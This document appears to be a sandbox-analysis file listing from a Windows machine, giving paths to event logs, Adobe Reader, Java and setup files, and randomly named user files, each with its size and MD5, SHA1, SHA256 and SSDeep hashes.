C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\favicons.sqlite	5.00 MB	MD5: e1eb0c8bab1af242d17e65582b0910a1 SHA1: 76776c21c97c6cae21b083226f88aecd9783a508 SHA256: 943a4f343e4dd7b186cf24792c82fee862cfd0e0a69d8ea4ac7e371c32278d69 SSDeep: 3072:j6FPfhKXzemUdJDvvXcBk/REO0lAaue4c92yD36FPfO:jdX2dBB/REOe9ueWyD3R	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\kRUtWme.xlsx	61.79 KB	MD5: 6d5f9ddf9fdd27968a3f2a6560958210 SHA1: c05cdc7fb5506477a116c0b4044cecee9e6dbe3f SHA256: 7648ab64072be98c1d6ac9a5ba84dd0580db32fdd7d4ed407369c266c06c0672 SSDeep: 1536:WvebXWh0607JiLTJ0E2tLvsmSRqAgVr6/PupLQpDP1Kq9UH+WO:+ebXWhH/LQtzsmscVr4uypDi+W	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\7 IWCWCLCExR.docx	73.96 KB	MD5: 444192f71f2a4563caaea7e510192947 SHA1: f7bbeef3b61177d2ab4466cae23cbdc14d7eda8d SHA256: 823d07f7f5dbd29e0162b226026ff2bae91fbcde2b056011e38a61cc31fccee6 SSDeep: 1536:wohS9PIxPeUNEHrG6Rvtn5CANNtLbYp/bF9+fQO:XhS9dHrG6R9Zux9T	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-Shell-Core%4ActionCenter.evtx	69.38 KB	MD5: 9049612c6b8c45e2602d6ce2f5bb4ab3 SHA1: 0ee9768f667d8097ac0af87d1883e0bd1177b068 SHA256: fecd24f8818d5ece82f3c31dab795a84c0357193e3b3b7c19a51403d647777b5 SSDeep: 384:+olfpGnf+4rXKZJa+mnQmz6bMCKbJSqHtOLV6/bX/VMGolfpGnf+ZCfHu:/uf+uXKunz6kJSPU/bX/VMHuf+2O	... File Actions Show Properties Download
C:\$GetCurrent\SafeOS\PartnerSetupComplete.cmd	1.95 KB	MD5: aaadd1c3cfc1f9bb2c05059edf550b23 SHA1: 2b3409bc53b6a6f40b26d677ca481d9956e4b361 SHA256: 67e7fd003593535f16a4b50be306e3fb2d1002b33a1fc52db5f2c460dd5f752f SSDeep: 48:AD+QEP9p4o3FNQSXNmLaPcuB4i+gNiZvuUbHe:0+f0o3XQImL/ufRNumUa	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\edit_pdf_poster2x.jpg	73.73 KB	MD5: e15ad30c4e76e56faab78f31fb4da6e8 SHA1: c9a7e4ddcf8db048926b0c0f8a1a7b3b2057579d SHA256: 5e2e0fb00c98236f5411d9fccd65ffd5f8f64757805f4ca692fdae8ebe134e5a SSDeep: 1536:xhF53M42gvFqbvxiwIzSXJpTihqMz2VthjUVr71cO:xh5kzP+4tzhdKK	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx	69.38 KB	MD5: 7dc353a39920ab227ed30c02b4d1225a SHA1: 6ab49cae721f892caf9a2d374eb3b7c98260ea41 SHA256: 554af54f16e3574fc8706b3a2b1db481482789535f70617c55d9511bc0eaa5a7 SSDeep: 768:F0guXRYqXyUXrxxMsp3E3YwNM5i63e0guXR/O:FbuhYsHN6sxia0buh/O	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\email\dummy\adobe-old-logo.jpg	36.34 KB	MD5: 3541c6695a4ef71e2ab3a38ff7d1ea9c SHA1: bb0a497f6fe7171a21c77f36bbbe3017cc4857d9 SHA256: 0fe9f669ff5986a185ac9f4c0c1ff879185d19ce47dfe322eda3ebff501baf27 SSDeep: 768:oxotatwJtsOQOzBHmtiSUhAkt7NRcv6IVpCthoyfue5O:1at6QOzBmtiSUhAk+iRtCyfBO	... File Actions Show Properties Download
C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\p4 5z.jpg	99.71 KB	MD5: f87d63f42d853b8c2423bd9730c60ab7 SHA1: dc810163de2af5f5ec384ca73ae9cb5453fd0c55 SHA256: 4fba2a9a4604f6b9461fc839270366933f809420262b98fb91c159f7ff3216c6 SSDeep: 3072:F/PATeDCYz9y9lQF0KnJXdqKojXAI05YsOMFkR+:F/P3y9lk0GJXdgTApP++	... File Actions Show Properties Download
C:\588bce7c90097ed212\RGB9Rast_x86.msi	93.88 KB	MD5: 01782743b22d076503c92c86a8651be2 SHA1: 43743b1d999ed30abc04bc1fcbc122c93e22196f SHA256: b23a0cc6720cf2f89d810a660e56560e1966ffd325967ef01d9f9880ad27d7d1 SSDeep: 1536:udHGHyKKZJAM41picgCjX3QAoHwDHL0fWi0lrmsIjyG9heHApNR3YHaeAKMoG8nP:aHGH8JAZbdgC73Q5H0Un0li+G9AsxaML	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-CodeIntegrity%4Operational.evtx	69.38 KB	MD5: 40980ebb91b52a422585180f3e079c28 SHA1: 34a577f16fa07bd156670263c7358ffc8b34555d SHA256: a658a5602cf80fdf84617c9712b8dbc24afc38e33b9176d0d9863e789da73328 SSDeep: 384:NLSYiHd+OfW0LgxLRoWBJNuEnU7/UfM9wz5+0aReLSYiH9CfHu:RRiHd5fWPRo4JgLzUf4wNayRiHiO	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-TaskScheduler%4Maintenance.evtx	69.38 KB	MD5: 7d0ca87f7952ad60413f57ca75cee2af SHA1: a2bd85d58732984ce164955ce1615a2c0d444785 SHA256: bc37b3ef341af9a17e07ca2c2501a375a2e29861fda6aa1fee14447884e3abf2 SSDeep: 384:amOH0neL5t6e5cufWqZp6strQsm3MjaoIimmOH0neL5t6eACfHu:aEcY06+1kMjXIlEWO	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\scan_poster2x.jpg	83.86 KB	MD5: e7069cc410f996730501b7dec49c12ac SHA1: 4a9036d2cfca3f6b77d7ec11f8a1cc30356afad2 SHA256: 0fd493a5dab167d2e785bf1b14e9a421cf4aa745d8c32aa36719832664903213 SSDeep: 1536:M8wMIbg9f5Q7nE4IVRppppudICBTOnQLfV5ZhEwDsR4444W8Rxu+Amj8QSVO:MNg9f5Q7sIxOufV7hB8RxukSV	... File Actions Show Properties Download
C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\ftH86.jpg	85.60 KB	MD5: 2d45017ce62f73e993df698df3e06610 SHA1: 33be411f074948c80e4bf502cbf840ee94ba924a SHA256: e9e921cc0d93a50faf407eb1d64dcfa28597fbf7f4ca00214a914e45bd44ef8a SSDeep: 1536:+sOVQEJeDHspNtTvmAHGrHLxMKw6pAzwpHbkydi0M16IUKrRBlFACcY2XZO:+sOVTj7ZvmAmrrlxOwpHbkYi0E/UwRBU	... File Actions Show Properties Download
C:\588bce7c90097ed212\RGB9RAST_x64.msi	181.88 KB	MD5: 9e0607cd0130e0c34581f54aeb10bbc8 SHA1: 3de834a9286e8b9a740b60d2a179b4ba969b4055 SHA256: 7ab36e8a8e6dd5cad6ccdada49e1276fe2dca6a188633cb89edd9fe0eed1ad75 SSDeep: 3072:UkPyDJ/UQ5H0Un0li+G9A7Kve3Hg5BszizUVQzB7m09g47aEqPNWZKq5uXpWf:taDJ/U8l1A7Km3Hg5CzizuE99gVEqiBb	... File Actions Show Properties Download
C:\588bce7c90097ed212\DHtmlHeader.html	17.12 KB	MD5: f5af0765f421fa2ecf95cbfe4b129ab5 SHA1: 489d58e3f7bbc1f399bf894e4e90e5f5bd4e070c SHA256: 0c0a15e7ab9227860fb9a58f53cf02df693d2add14a369f533bb820c245974a4 SSDeep: 384:75TAfdUTfP253qFUFJFEWUxFzMG5zai9D3zPjRDSvgvCfHuc:754WfP2QFUFJFEWUxFzH5z33PoxOc	... File Actions Show Properties Download
C:\$GetCurrent\SafeOS\SetupComplete.cmd	1.68 KB	MD5: 5d83c5f93c8f7f47af65bb2da5de6706 SHA1: a171bdc150e5d47e47f4aa2ad4f078fc89779fc5 SHA256: 97f7ebf92ae0afd8b89f4cca5b32d9b4c9a620b15d46cf4361d523e087cd2f92 SSDeep: 24:Z7k7MTRH4IgK6g8ijNm1Zau30Xx7lIyHUuBmBVi+giEitjAr/LrIX135kXPlQR5J:ZgwN2K6g8ENmLaPcuB4i+gNiZvuUbHe	... File Actions Show Properties Download
C:\Logs\Internet Explorer.evtx	69.38 KB	MD5: 20aaa26970f903bfc8e49787596fe449 SHA1: 9b1ab9bdd62c5e67770f2609bf29cd8330a1e439 SHA256: b6086d07920cf0ce29ffd338f37c070b5844c2638fe754a8c97442f7c71e7729 SSDeep: 768:IAqyvpSKP7cIUDbjiydzNlXz+mAqyvpIO:IAbvp37cI2CydZJAbvpIO	... File Actions Show Properties Download
C:\Logs\System.evtx	1.07 MB	MD5: 68170fe48b02afe0eb6480f18d98b006 SHA1: d4a92eb1eeb9875a7e6da7d495f6948cb4959e58 SHA256: 2884cd4cb3483d288352199adbf700a91a746214bed55d6e3759116b86fe0283 SSDeep: 1536:hLPGp+qZfP/aIXo5NajuNK/FoBvq/hg160XpuHsj1Jye8aisiVbyLPEO:hLEaIY7WBFoR6g16S8sJy1UrLc	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-AppReadiness%4Admin.evtx	69.38 KB	MD5: 2e3eedbc3936a2a2f8215552271482f2 SHA1: 673af96620338ae0ec2fa29f5939b71028554495 SHA256: a3c73a8618049afcee981ffcf89ce35c623e1dfe9eb05f7f4ffde0e2e4dec67c SSDeep: 768:IdgEC+8O9dGQ1ewjAixP6eI/IFjRdgEC+8OeUO:6RKQ1ewEixS9YRFO	... File Actions Show Properties Download
C:\Logs\HardwareEvents.evtx	69.38 KB	MD5: 67723d2334145bb324499babb075b6e1 SHA1: f5b33912ec3b37058eef97c2efffe459aebc64a3 SHA256: 2dd4e168ae0318138a36df59bd866c2da0be0a0ab5ddc2f44da37c156045da2a SSDeep: 384:GJfcFkWyWOM/u3LlFfqTb9ldDubz9Pgjqyz5QY8jhuQfcpHDBCJfcFklCfHu:SfcFkWZG3xFfqvdsX05QXc2fcFkKO	... File Actions Show Properties Download
C:\588bce7c90097ed212\SetupUi.xsd	30.80 KB	MD5: 0fdc72e80b2d5ae28a7b97317842d00c SHA1: fb6f4b3b71fd2c9902961630d00b4384d9dabda6 SHA256: 747aaed0f54537c712f100d49b845a1b6c85630782f404fcf0c125fee4171bb1 SSDeep: 384:3r9Ytm1VzVvIe3CpJoXXETy26hKaQUwPh7u7l7P7A70mW717u7WiW4WmPH88G2+4:7UKVzGe/ET/chT+cxcW8G2PMlHvyrSO	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\Microsoft\Document Building Blocks\1033\16\Built-In Building Blocks.dotx	3.54 MB	MD5: e5de45f79d60e472e65ffa8a72d0b08b SHA1: ac6f324c2596c37e618b208e0c6e4b017fb10ea0 SHA256: 70b35a7e30215c03432800004359bb167f8f9862308a8c6fada20f1f4139c071 SSDeep: 98304:29UR9Na7kNEeEukdHe3mBQlqZ7kNEeEukdHe3mBQlqgNsf8P854annqjGaGahP:2iK7kHbkdHe3p+7kHbkdHe3pDsEPuDnI	... File Actions Show Properties Download
C:\588bce7c90097ed212\Setup.exe	77.70 KB	MD5: 5067631271e37938c8ab9ef8f3587cd9 SHA1: a08f504704e36bf90ef6510b5f132a3a47e28e8e SHA256: 25a277ffd7e36e64071445f021864b42bc73383ae3ce80b15316640f09abf76e SSDeep: 1536:IA+bPxqeEQWiiESc0exWZnqxMQP8ZOs0JdO:cbPAeEQWTZctc/gBz	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-AppModel-Runtime%4Admin.evtx	69.38 KB	MD5: b80a36d20fce824fd40d2dfc705fa050 SHA1: 900fde4f3f4abb1188ba634ae6ee4d889374de8b SHA256: f2bca8ffc46356befc79843fb3811c9daabbaaf40a9dd8e8659f21ad4f2e36e3 SSDeep: 768:bvgWoYdI6US5mxmru43f1tqbUXCn5evgWoYdI6USXO:wV6US5mUrB1tqbkaV6USXO	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx	69.38 KB	MD5: 04a488a2ad3af0be88bd74a9264760c7 SHA1: 8b89f1fa2ce32fbf934eaee68928524d75ea4c48 SHA256: 210e4b6034fcbd9181c9b85ab2e7a18be07fe21634ed8a2e053d87d5e3627f16 SSDeep: 384:mkVVO3uqJvKQdpq2tspMa2aWiHZXEGbYQUW4SLaDaRFHpVSueADUlKXzP2kVVO3p:mkVVWXzi7/XxbfFaciEH+kVVWXziTO	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf	57.26 KB	MD5: c9b66295084efcbf782a52a512c3eb4b SHA1: a2794c45fb667b2fbd01af12094db8465f1d088a SHA256: 952b3458a4dbdb2b8ed2f7e36ba421245ea2f74d5dbc1b499291bb0d0c378955 SSDeep: 1536:TImAAyNpHevPvAnK3Vvl8RwyoSTx092EvYO:TIB9enInK78ey	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\GRAD8.pdf	62.90 KB	MD5: 589754aa0fff2fce5e4238c9a419ef22 SHA1: 496720351fe382ec02a3c8658073c16948cad5a5 SHA256: 40eb5d52f2784caab7723030f97e21718dea9115495c00bb77cd3574538a5fa0 SSDeep: 1536:3Ruk0YXXQETk5j4u4E3d5FrUrk0jcoZPX9DMxDgO:rgWkmu4QdcRcQXdMa	... File Actions Show Properties Download
C:\Logs\Microsoft-Client-Licensing-Platform%4Admin.evtx	69.38 KB	MD5: dbf6b0b7e08578e56ac25069e3db4e72 SHA1: c5eb37cf13e998fbd919f4eabc34e176d7830eff SHA256: a3660de2c5ea102294eee431bb556c68c24a18a4f790c8fbcfb422bb705443ae SSDeep: 768:PL2wN3Sa/of6XZj+sOSr0nE8tHt8kATKyKHL2wN3SanO:PL2w1gQ1+sOSonpYkATKyKHL2w1nO	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\bin\jjs.exe	16.95 KB	MD5: 0ec3ae40b59e3b4ebeedebe46e6fd4b1 SHA1: 9aed1b63f9e74e687bef8d9252f85deb85e82df0 SHA256: 400041467d34caafa572fcab0bdbc2e3fdb9c6e8f257881eadf30cafe0b0310e SSDeep: 384:M09esqzWGmXaVwDgKN2zeex6nYPFGj9PJCfHu:bDBkye42iRGO	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-HotspotAuth%4Operational.evtx	69.38 KB	MD5: c6cc70d5f48e548270d45358dfcb3c93 SHA1: 2245bb42bfc03151b5f8b21b62c3a6c0ec905958 SHA256: 07eeb4ddce701acb4886aedaf7476f4a29936d629977f9b8723c39f5d0ce1a22 SSDeep: 768:+XuGJRLW9f01HEqVZ5O+yWl5J6xkl5aAyarJXuGJRLW9f01HEBO:+eCOkYBAJ6ybaAyKeCOkOO	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx	69.38 KB	MD5: 8a0285298c2474f1da97d25a8c19b511 SHA1: 1dc223f1b1cad564dda8a58e9ef256b9af1b12e6 SHA256: eb24cc8fcf6f22d9acd598a431a43827112ae10e982372e1152fa520b6673c2a SSDeep: 384:EjHis2ZvoL5tS37PZSwJuloFmB4dKqnfQH/rfbgNZIjHilCfHu:EGTQL5UDZSdB4HfQH/zbgNZIGKO	... File Actions Show Properties Download
C:\Logs\Key Management Service.evtx	69.38 KB	MD5: 61a2f6897d93ef7a7fec0d0d258b3963 SHA1: 15fb7237c393dfee7618bb19d968f0e0fe0a1c1f SHA256: c692fa5edea5837de2eea9f032c5611b8067b3d68a4bb5d46588285a4bd50d61 SSDeep: 768:5/pjJyyyBfvpJKNKpE7uLc1GRAefNNI793AyTwqpjJyyyBfvnO:5h9yNXpJWIL0Grw93AyTw49yNXnO	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx	69.38 KB	MD5: 81bdf5b4746457ad2592dd33bfd80b88 SHA1: c15d48e21fbd616d5b04d8da4ea75fec35b1fd29 SHA256: f3aabff165a1d3b4615d9f01213725a3da5c8922b97bc3e7d5f661714799af88 SSDeep: 384:oO66Yc18IEFaw+uaejoa5hGINNuptiAWMUTKVc/O66Yc181CfHu:3zYc18L1+cjNTGOcpQ6ZzYc186O	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-Kernel-WHEA%4Operational.evtx	69.38 KB	MD5: 66286a9e097ab33e82175e51f8a28c6d SHA1: 498df27f0cdb81f00c0049b9b2dacdcc5b39dd01 SHA256: 2d17c377e76d6eab268b54684b08bb283eff6ad68478540c076a08191e23c9a1 SSDeep: 384:Oo20kCTJ4i1Y/0uhfbl3WCXBHWKwEXNF85cc6u6YhTG6So20kCTJ4i1FCfHuh:OowCug1EfZGCX5ewPc6xYBoowCugqOh	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-GroupPolicy%4Operational.evtx	69.38 KB	MD5: 60ec8d43657adea9a5c01ed636985583 SHA1: 447987dcc6ffa689d1d2300c1cc51c580dbc9f85 SHA256: 165abde3da443cc5ac7e47e8aa80479f51ab229b92dc82abc5ce24cafc2de915 SSDeep: 768:OtzwsCXCtSMNuhrIK2TZjqDjLsA4MVDtEO:Czw1S0hrB2TsxEO	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-AppReadiness%4Operational.evtx	1.07 MB	MD5: dddf3f2e429f0a8488c93cb64344fb9c SHA1: 3c68bcceb8202d9b8ff9a113c8534cc55318ce72 SHA256: 1f7f815d4700b387e1d1c5f8c4c0c8dad8ae211a8bed54e727e921782d67c065 SSDeep: 3072:J81fRORZFH31ZBlSC4cJpYBxvUa0yivBDSf/zHmC81R:J81f6dEC1gfvU5ezHmC81R	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-Ntfs%4WHC.evtx	69.38 KB	MD5: 0c90bf087da6f38db12ff255c4c88f98 SHA1: 91995627b17e5655b70879deed8fefda66561b9b SHA256: 82967d36389a42ab50f8e38ab5bc00ab031a0d2c1f477bfcd01922d44603ea1b SSDeep: 768:nMr0B6+bbYs5n+IeXYOMDcT4r0B6+bbhO:nMYxYe+IeXfMDO4YxhO	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-AppXDeployment%4Operational.evtx	69.38 KB	MD5: fec7dda1437589b3f6d2a4df8e3230f1 SHA1: adcb9baf082ebdfc59ea27c8f8ea026260b3d615 SHA256: 57651f95e37d56ed6c6fefd96077200fca1003f4cfd7a519c0cef5093cd5d043 SSDeep: 768:3y/oNW/YEQfygZYLkRydrDhP43/y/oNWbO:rcYtfymSd943zuO	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\calendars.properties	2.73 KB	MD5: 829f29353566b95f18fe339879ab3227 SHA1: 338cba0873009cd2e24e9599d3d3e25490869db3 SHA256: da3408b3fa08c5c4d12eb82002e39ee16f535161aa9b685d633db7f9a7b43696 SSDeep: 48:tP/3jQDCda2nlRPaEqQmS7Vx3iVoOCdhRXNnoVA9NmLaPcuB4i+gNiZvuUbHe2:VvjQDCd1lRPaEqQmS33AiNxmL/ufRNuS	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-ReadyBoost%4Operational.evtx	69.38 KB	MD5: 33c6be40598023636f306dffb8e66e74 SHA1: 4e85caedc722e5023d53560c26533d7be5eff98d SHA256: d81dd5150f5d7e89747818e817495e26e4226e5ee566fd68bd120382488c83fc SSDeep: 384:ft0/jk5XaceudL0P1KpxUM32DyYiF0CK9z5P8KHW/55U0/jk5XacekCfHu:ft0/o5XMudLvpqxuK7EKHsU0/o5XMfO	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\scan_poster2x.jpg	83.86 KB	MD5: 9057d7120d335d14ae8aed0255dee3aa SHA1: 68f227fe8b5520e375e279709cb297d2b5f898c3 SHA256: ab8e1a912075e1eab370e25e63312ec360e16fd4270fb61ee15e073767bdef1e SSDeep: 1536:QJQ7JGjxOv1+4IVRppppudICBTOnQLfV5ZhEwDsR4444W8Rxu+Amj8QA2tkHO:Q2WU1KIxOufV7hB8RxukAuy	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-SmbClient%4Security.evtx	69.38 KB	MD5: 4d9d2fa332ad3ac796a0168898cbf8aa SHA1: 67da0ad85ab91ecfa01615cb3b4c7ee70a654dca SHA256: 81f748c221bf0095aa5723831b6d3cc2725855c6f4b0e0d54ec8ca7609a1b200 SSDeep: 384:VDTv/nUIJScJPzRJv6kQAuNXCBWRyDT6CfHu:VDzvUQJvpNuNoDZO	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages.properties	4.18 KB	MD5: 60f75e5a27b15db9bc29f6355d6a9bb8 SHA1: 81d260c09f63d7592ca07de896359aaee5a55f02 SHA256: 0536065b4302da7cb7b90250a2fbff56a3a203af99845228731f672b60126715 SSDeep: 96:WPl/uctnke6L0BRPRc6EbHEF3WN0B7RvpmL/ufRNumUa:EuRjLEpzEbHEF/7xQL2fHu	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_zh_HK.properties	5.05 KB	MD5: a467b9e2dbcdf0d2d2966f3a7bbab3de SHA1: b624326343be78779c247b728d20f412a2fdb6ef SHA256: ce45524cb14246b2ff5cd3700eaf9f8cf2360b76fec163200b74708da5a1e3f1 SSDeep: 96:2LKdaOTvxNsaLVVbmL4y6mxT70+z16L6ewelhmL/ufRNumUaq:24aODxNsCVVQFrh0+YLtVYL2fHu	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-Kernel-WHEA%4Errors.evtx	69.38 KB	MD5: b6983df0d4b7e6c5c87340652b4eea07 SHA1: aaca5c80533422c0277297173235dc2d25a9691f SHA256: dcc9d23684a4e40fdf65cc3cd1b3dff01393fb43e8c204b3a78de2ed0fff4202 SSDeep: 384:fe/tE2rqAQIf8NTwsxjwAW/Td0xfB88vodmM5kYIBe/tE2rqAQI8CfHu:fYtRX8Nxx0/50j5Q5QBYtRvO	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-SMBServer%4Connectivity.evtx	69.38 KB	MD5: df0d6c0f5a8ea6fee23b6cef9b4efe65 SHA1: bcd4c764263637032f9495549b43c06187d88fa4 SHA256: d00deef68bc21e0058b0c5181f6a14517ebe8adb3da575548ab15fb7a70019cc SSDeep: 384:V+1a1Cs3A9M8RbKqmjFoIwJ8lfqRwlWyEI4exPFNsoytLKBcfy+1a1Cs3A9+CfHn:ELWO2q+LThJNMLuWLHOm	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx	69.38 KB	MD5: 161135891787935395726f577a666100 SHA1: 4fceff381f33221fbe150c5def32b12476759695 SHA256: 653c367d053ca4fb9b8d77d0a779d6bb639cbe261ad0f9eb7ff2fb53d249e07c SSDeep: 384:+0OrI/T6BJbW/h50oXyS67UcpvVh+uHFb90beWAezNCJ1Xv0OrI/T6GCfHu:8XAFTOUcVVEYFb9ueJr5O	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-User Profile Service%4Operational.evtx	69.38 KB	MD5: a2d0d54087355a24905256e4e9e324b7 SHA1: 3f791166a929edd91f19e1fc7158e8be25880912 SHA256: 5959463cf924bd0418bf0555430942e0e6c36e419be48056a15f07d7455c754f SSDeep: 384:LzYG/2WEgwZdXDz4CS1C9z1xWkiU+3zeKMWPHEqzYG/2WEgwZdXlCfHu:YGAgOJ0C7xBiU+3SKgGAgOQO	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\ext\jaccess.jar	44.86 KB	MD5: fc6b3dabf35076e8b2baeecfbe81505a SHA1: 5b80b678e624ae5837bbf68656e1ef72206a3037 SHA256: 8662ce74b5d21a2d0cd529edf057261fc1d772a4e60719f9f9557b2614860ba2 SSDeep: 768:hrxO3x8LvVqPVGXpVfZHHSqs/rLA5tkZQnWn109Rqd4jVzIO:hrxO32VJTtvsfAMQnWn10PqCVMO	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx	1.01 MB	MD5: 754966d0b72927ac6825f458d9a7f58a SHA1: acbaf40912a2b5c276f147a20e9e8b3c16df1eb2 SHA256: 93b12ddf665e1887d2ed2cbe4b119cf97e659dff6791ecb09a0389b701464785 SSDeep: 1536:pLKqnioD8gH71NPQtoj4X5wNC7/62X7QP8oufRVzxBnhu+/hGLxLiv8LKKO:pLKqni+qNpwNCj62cczbcHLKK	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx	69.38 KB	MD5: ef78e2dcf4a34dadb940c2ad2a228a97 SHA1: 6c3ea75da49ab283870061566b7aea23dfbb6517 SHA256: afd738e16ffebd6a724794ed256cfd7c0ad2c4ce30ee6fd85d620027f8c7ee32 SSDeep: 384:iogWwZVFsLSl/UjqdIYGuUTUwPzvDCjo4BOmMyQ/jz4Q4EdxWBogWwZVFsLSqCfO:i/PQEUj/YtUxbbsowMFn4ZhB/PQUO	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\organize_poster2x.jpg	68.97 KB	MD5: 8985830a926dd9d04736b4c375ad9a8d SHA1: ab161722b15aa5948889ccc7632ce0a240a4c76d SHA256: ae6b73afe9bcbcebcae3df5fc846a2be4e3ac0aeb1e1184ec01cd92209c61cac SSDeep: 1536:IvNnDE1HLyWiyHEdH7Cc58pHy5rHynNaHvXa4v3RYmb44444444444444444444+:anO+xdL7DyNmXBvnX2Wd5twwJUYzz	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\YP-X.jpg	43.04 KB	MD5: 88f93e45ec134d06aaae4416dbc42f4a SHA1: e207b4b28242a1714a15b1106f790f2fddec2bd9 SHA256: 383725b20667e266378d4a68c0ea1840f9bd52cafdb649606cf8ea1260b2b181 SSDeep: 768:keqPw0yaP3wKcWb6rSrJWrTj+9jlDs6rbmyUK0gai4tsHoyoltwnG8IuHpO:KI0yaPbHb62MPjyxw63mxE4tbnl4G8Il	... File Actions Show Properties Download
C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\PWEP9ZZOb dHlAYjsy\p2O0.jpg	44.89 KB	MD5: 98fa09f2b71eccd1b41d2310753b2e3d SHA1: b6446d5ead27653487c88dc7912a6435e3ac6e54 SHA256: c195ef56ae40a5ddd5bea555d095afb80d6c22eb8904ae32be2795acdfd524a8 SSDeep: 768:dpOfdZ3iyEQ8KdoSdBaBvMtEyKqoo5ghfUZUAi4WKFvtlCY3KDuTMONnF3zzm3RO:dpQb3iF+do4t16fUZZWKFzlxM0zzOR4Z	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-Winlogon%4Operational.evtx	69.38 KB	MD5: 01d8772b5bbb1c1c895a88bf692eda9d SHA1: 6449c36af467d597c987fb86cb1c4f2da48a541d SHA256: 35e4322ae908eaac9c9d64390890d3c9f4387ea1cac450cde83740257b98d02f SSDeep: 768:2DwnSJTsch947PYbrhxuDisFijwnSJTsch9DO:nsF98UvmnsF9DO	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-International%4Operational.evtx	69.38 KB	MD5: 1ea6b30e75e4c8fab1e007556815277e SHA1: 4e35e92b9c484443ca6dbb441ecc8d1298a56e94 SHA256: 2ff26b8a108d966c23cd99ac564e83d13faecf7303c5751c99ed09a7e4c28fb8 SSDeep: 768:N0mvYw/xnO7PmUPCaVe5CdNf0mvYw/LO:Nf/s7PPJe5Cff/LO	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx	69.38 KB	MD5: 534d35a5978e687fc0715ad9051976fa SHA1: 8618fa0d9927ba5a683805110dfb270bd6bc0dfe SHA256: bccb9291cd359bf37184e77a433a58bd02e8fce5339d3b80283ddeb000ad7f35 SSDeep: 384:xXQOd+tFzeSDLhFrO714CtIH5yEVhWXGmMCOmJeMTXQOd+tFzeSD9CfHuS:xXJ+tICNFi714CiH5ykNsTXJ+tICiO	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx	69.38 KB	MD5: e038126234aa008474c485a97a8b0f7e SHA1: 79af6d82f8a46a7728b5f0dbfe350603f1fc3f37 SHA256: 18a851660a7d2d594ebcd672a97a16cdacb0128646ed5fbb866dfd19e8b97ecf SSDeep: 384:QmFrqbeMCiH200WMa0Nxl8FiGLMWdQFz1+yF4mFrqbnCfHu:QmFS6TKiXWogc4mFTO	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\flavormap.properties	5.22 KB	MD5: 762b7533da186ea92f00422a7f30f17a SHA1: e73d6475ffb4817cfe0ea64d577c874fb9e9df63 SHA256: 7558be64b644058350f7d3ad8e2797fe324472408941f1864a4986448e4fd247 SSDeep: 96:s7psZiJonS8rCnbYDIkV/LkHmBeF7rDr3l2FS+pYOKLDpmL/ufRNumUa:OkkoS8rybYbkHm8ZPoLYTcL2fHu	... File Actions Show Properties Download
